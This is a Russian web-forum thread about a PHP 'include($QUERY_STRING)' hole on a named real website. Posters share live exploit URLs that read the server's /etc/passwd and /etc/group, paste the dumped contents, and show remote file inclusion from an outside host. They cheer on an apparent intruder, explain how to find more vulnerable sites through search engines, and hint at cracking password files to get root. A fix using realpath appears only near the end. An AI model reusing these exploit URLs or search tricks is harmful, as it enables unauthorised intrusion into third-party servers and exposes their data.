ВНИМАНИЮ ПРОВАЙДЕРОВ!!! Защищаейте машины!

confguru

ExAdmin
Команда форума
ВНИМАНИЮ ПРОВАЙДЕРОВ!!! Защищаейте машины!

Безопасность оставляет желать лучшего :)

http://www.namedni.com/index2.php3?/etc/passwd

# $FreeBSD: src/etc/master.passwd,v 1.25 1999/09/13 17:09:07 peter Exp $ # root:*:0:0:Charlie &:/root:/bin/bash toor:*:0:0:Bourne-again Superuser:/root: daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin operator:*:2:5:System &:/:/sbin/nologin bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/sbin/nologin kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin games:*:7:13:Games pseudo-user:/usr/games:/sbin/nologin news:*:8:8:News Subsystem:/:/sbin/nologin man:*:9:9:Mister Man Pages:/usr/share/man:/sbin/nologin bind:*:53:53:Bind Sandbox:/:/sbin/nologin uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/libexec/uucp/uucico xten:*:67:67:X-10
 

vladis

Guest
Аааа! Прикол!

Видел я этот хост! Там уже 25-го вечером обосновались!

Yo, kant ! Так держать! Много не стирай :))
 

tony2001

TeaM PHPClub
http://www.namedni.com/index2.php3?/etc/group

wheel:*:0:root,kant daemon:*:1:daemon kmem:*:2:root sys:*:3:root tty:*:4:root operator:*:5:root mail:*:6: bin:*:7: news:*:8: man:*:9: games:*:13: staff:*:20:root guest:*:31:root bind:*:53: uucp:*:66: xten:*:67:xten dialer:*:68: network:*:69: qnofiles:*:81: qmail:*:82: mysql:*:88: hosting:*:1000: kant:*:3000: nogroup:*:65533: nobody:*:65534:

"
- Сержант Петренко, Ваши права.
- rooot....
"
=))))))))))
 

DiMA

php.spb.ru
Команда форума
Да кому нужен этот /etc/pass. Купив шелл за 5 баксов в месяц любой получит к нему законный доступ. Толку-то.

http://www.namedni.com/index2.php3?http://bot.net.ru/test.txt

Вот исполнять любой пхп скрипт - это уже интереснее. Спасибо Антонио за наводку.

Содержимое http://bot.net.ru/test.txt:
<? phpinfo(); ?>

Кстати, этой дыре (именно по этому адресу) уже много времени. Лично я ее на "ПХП в деталях" находил :) Там один ламер сам показал код и мыло оставил типа admin@домен.ру
 

DiMA

php.spb.ru
Команда форума
ну раз никто не говорит, я скажу. Кучу аналогичных дыр можно легко найти в поисковиках по фразе include query_string.
 

mishar

Guest
Дырочку-то заткнули....

2DiMa:
Excuse me, а каким образом? Я не доганяю (по возрасту).
 

mishar

Guest
Не, не заткнули....

Через index.php3 всё ещё пускает.
 

mishar

Guest
А ноги безбезопасности растут отсюда

http://www.napalm.ru/2php.shtml - похоже, прямо с этой страницы был взят фрагмент который есть в файле http://www.namedni.com/index.php3:

<?php
function foo ($in) {
if ( $in !="" ) { $out=$in; }
else {$out="26.09.01/main";} return $out; } ?>
<?php include (foo($QUERY_STRING)); ?>
 

confguru

ExAdmin
Команда форума
Там же написано ,)))
Сразу оговорюсь, что я не только мало смыслю в программировании вообще, но и в PHP в частности. Соответственно и статья писалась для такой же аудитории. Ламер -ламеру. Или дилетант-дилетанту, как угодно. Большинство информации можно найти в форумах или на англоязычных сайтах.
 

vladis

Guest
Кстати, не связан ли тотальный переход ПХП на CGI в suexec ВалуеХоста (namedni.com как раз там хостится) с обнаружением админами этой дыры? Если да, то это прикол :))

Ага, щас смотрел - уже заткнули.

Но вообще, получение доступа подобного рода эквивалентно шеллу с правами nobody (если админ не совсем ламер), что при нормально настроенной FreeBSD не дает возможностей получения рута. В данном случае тов. админ видимо не интересовался соотв. багтреками и одна из дырок не была вовремя залатана.
 

DiMA

php.spb.ru
Команда форума
> Через index.php3 всё ещё пускает

ой ламерье.. =)

http://www.namedni.com/index.php3?http://bot.net.ru/test.txt

И вот, как он это проверяет:

function foo ($in) {

if ($in !="") {$out=$in;}

else {$out="26.09.01/main";} return $out;}?>

<?php
if ((!preg_match("/^http/",$QUERY_STRING))
or (!preg_match("/^\//",$QUERY_STRING)) ) {
echo "error";
} else {
include (foo($QUERY_STRING));
}
?>

в результате вообще результат заведомо лжив, т.к. никакая строка не может одновременно начаться с "h" и "/" :)

Хотя может это кто-то добрый вставил заглушку :)

>Кстати, не связан ли тотальный переход ПХП на CGI в suexec ВалуеХоста (namedni.com как раз там хостится) с обнаружением админами этой дыры? Если да, то это прикол :))

Тогда админы - абсолютные нули в технологиях (не доперли прочитать ман и настроить ПХП) и не далекие люди.. Почему не далекие? Да кто будет этих админов спрашивать, ставить пхп или нет?? :) Рынок требует, так что все поставят. Или будут голодные сидеть.
 

mishar

Guest
Народ! А как надо настроить PHP или чего там ещё чтобы
include (foo($QUERY_STRING)); не работало. А то получается, выгрузи на сервер пхп-файл с подобным кодом - и затем ходи по всем каталогам и читай, удаляй всё чё угодно где это позволено. Например на этом хосте(www.valuehost.ru) ко многим каталогам полный доступ.
 

vladis

Guest
Гы.
Если б фря давала всем master.passwd она бы не была почти самой крутой по защищенности ОС.
ты ж как процесс порожденный апашим имееш права nobody а мастер.пассвд читается/пишется только рутом.
 

DiMA

php.spb.ru
Команда форума
> А кто нибудь master.passwd взял?
> Мне что-то не дает :( Абидно :(((

чайниковский подход к взлому. В начале надо на своей тачке отработать. Или хотя бы быть в курсе о правах.

> а мастер.пассвд читается/пишется только рутом

кое-где, если кое-что скомпилять под простым юзером и запустить, можно поиметь файл паролей и дальше начать разгадывание. Но это уже вопрос обычной засылки сканера дыр, чтобы рута поиметь.
 

DiMA

php.spb.ru
Команда форума
> Не чуваки, ну вы даете ...
> ...

еще один чайниковский подход к решению проблемы что можно вставлять.
Если уж и есть каталоги, то функция realpath + регэксп для сравнения вершины пути/расширения решит все проблемы (одна строка кода, а не целая теория).

Смотрим ман на realpath()...
 
Сверху